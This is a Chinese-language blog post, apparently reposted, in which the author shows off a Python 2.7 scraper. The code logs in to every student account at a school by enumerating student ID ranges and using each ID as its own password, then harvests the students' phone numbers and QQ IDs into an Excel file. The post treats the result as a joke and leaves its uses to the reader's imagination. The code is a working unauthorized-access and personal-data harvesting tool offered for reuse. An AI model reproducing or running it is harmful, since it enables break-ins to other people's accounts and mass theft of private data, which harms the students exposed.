1. 程式人生 > >爬蟲實在是太好玩了!看我是如何獲取整個學校的學生call和qq!

爬蟲實在是太好玩了!看我是如何獲取整個學校的學生call和qq!

beautiful xlrd 結束 使用 com 指定 https 很好 install

技術分享圖片

爬蟲開始前的準備:

  • python2.7
  • 庫文件(xlwt,urllib2,BeautifulSoup4,xlrd)

安裝庫文件的方法:

最好在你的python2.7/script/下面打開power shell(可以shift+右擊) 執行下面的:

安裝庫文件:

pip install *** ***是指上面的庫文件,下面不一定都用,只要上面的,以後出什麽錯,你就繼續pip install
技術分享圖片

如何查看自己已經安裝了的庫

pip list

觀察網站結構(密碼規則):

技術分享圖片

密碼規則

  • 首先這個規則是針對大二和已經畢業了的
  • 密碼規則沒有添加驗證碼(其實添加驗證碼也沒什麽用,只是添加了爬取門檻)
  • 規則是 用戶名==密碼
  • 符合條件
技術分享圖片

user_info

  • 這裏的用戶信息
  • 不要在意這些細節(馬賽克) 朦朧美一直是我的追求
技術分享圖片

sys.setdefaultencoding("utf-8")
# ssl這個是驗證證書 https
ssl._create_default_https_context = ssl._create_unverified_context
# 生成一個存儲cookie的對象
c = cookielib.LWPCookieJar()
cookie = urllib2.HTTPCookieProcessor(c)
opener = urllib2.build_opener(cookie)
urllib2.install_opener(opener)
技術分享圖片

  • 學號的列表

不要在意我是怎麽知道的,

重要的是這些規則,你怎麽去重新寫一個函數代入

(裏面的我修改過,所以不要套用,以免浪費時間)

# 學號只在最後3位不一樣,隨機數xrange() 可以處理更好的處理大的列表
def user_id():
 list_1 = []
 for i in xrange(101,249):
 list_1.append(‘1131050‘+str(i))
 for i in xrange(301,349):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(401,448):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(501,548):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(101,150):
 list_1.append(‘1131070‘+ str(i))
 for i in xrange(101,151):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(201,252):
 list_1.append(‘1135050‘+ str(i))
 for i in xrange(301,352):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(401,453):
 list_1.append(‘1131050‘+ str(i))
 for i in xrange(101,148):
 list_1.append(‘1131070‘+ str(i))
 for i in xrange(201,247):
 list_1.append(‘1131070‘+ str(i))
 return list_1
  • 用戶信息的獲取

這裏用的的是beautifulsoup庫

def user_info():
 url_info="http://XXX.xxxx.edu.cn:80/Modile/Sys/Meddage/Info.aspx"
 html2 = opener.open(url_info).read()
 
 # python2.7 沒裝lxml的可能會報錯,pip install lxml
 
 soup = BeautifulSoup(html2,"lxml") #以lxml 方式解析抓下來的lxml
 infos = soup.select("tr > td > span") # css seletor 來獲取指定標簽
 #print profes
 # print infos
 return infos
  • 寫入xls(這個是思路)測試用的函數

因為在寫的時候因為編碼問題,不能寫入中文

def write_user():
 file2 = xlwt.Workbook(encoding=‘utf-8‘) #打開一個excel,並且編碼格式以 ‘utf-8‘
 table = file2.add_sheet(‘info‘,cell_overwrite_ok=True) #添加一個表
 table.write(0,0,"15d中文3s0") # 寫入內容,table.write(row,col,‘value‘)
 file2.save(‘file2.xls‘)
  • 開始行動:
  • 添加上延遲訪問: time.sleep(1)
  1. 因為爬蟲訪問的不和人一樣,訪問會很快,
  2. 這樣可以避免被封ip 還有避免給站點帶來不好的影響
def go_user():
 user_list = []
 user_infos = []
 user_list = user_id()
 file2 = xlwt.Workbook(encoding=‘utf-8‘)
 table = file2.add_sheet(‘info‘,cell_overwrite_ok=True)
 r = 0 #row 行
 for i in user_list:
 c = 0 #col
 login(username=i, password=i) #登錄,並傳入列表的學號
 user_infos = user_info() #獲取學號信息,格式是字典
 for i in user_infos[0:10]: #寫入表單中,循環把信息寫進去
 # print i.get_text()
 table.write(r,c,i.get_text())
 c += 1
 r += 1
 time.sleep(1) #延遲訪問,可避免封ip,還有影響服務器
 print r,c
 file2.save(‘file2.xls‘)

程序執行結束:

部分截圖:有圖有真相,避免無知的噴子

學號規則很好找的,這樣就獲取半個學校的call和qq啦,至於能幹嘛,自己腦補。。。

技術分享圖片

end_info

不知道庫的使用方法,我這裏總結了下,還有不知道的只能百度啦

技術分享圖片

是不是很強勢?有沒有很裝逼?哈哈哈!

進群:125240963 即可獲取源碼!

爬蟲實在是太好玩了!看我是如何獲取整個學校的學生call和qq!